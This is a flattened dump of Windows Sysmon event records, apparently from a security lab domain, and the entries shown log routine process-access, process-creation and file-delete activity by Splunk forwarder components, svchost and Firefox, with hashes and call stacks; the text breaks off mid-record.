15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018204Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018203Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018202Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018201Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018200Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018199Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018198Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74F3-613B-4205-00000000F101}2656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018197Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.608{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F3-613B-4205-00000000F101}2656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018196Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.609{625C326B-74F3-613B-4205-00000000F101}2656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018195Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.311{625C326B-74F3-613B-4105-00000000F101}4048636C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018194Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F3-613B-4105-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018193Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018192Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018191Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018190Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018189Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018188Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018187Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018186Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018185Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018184Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-74F3-613B-4105-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018183Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.108{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F3-613B-4105-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018182Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.109{625C326B-74F3-613B-4105-00000000F101}4048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018181Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:34.999{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BCB0C0674CB9FD77070FEF5E8509BCC,SHA256=CFDFCE26BC0B78967A1A780E9148D8C473FC858D09C6D234004127BA47B3DDC1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:36.403{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:36.402{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shmMD5=C13F913F97258024ED91C706D841F3D0,SHA256=ED3B1C506FA132956EB97E6D0ADFE160DF3E42A2EAB3EF46F80DE1E237EB0D09,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:36.086{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE879FD9B31A31A311C55C07FE88BCAF,SHA256=1425788395BB4C6BA954170A1BA0C46A5C918AFC3F936D8214C520D288FFC637,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018224Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.374{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E244183EECB1C06357D8CEF0B10242ED,SHA256=C98E71139735EBE977D6D33CCA7AE7565380D5931296A046932352A0264139A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018223Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.374{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program 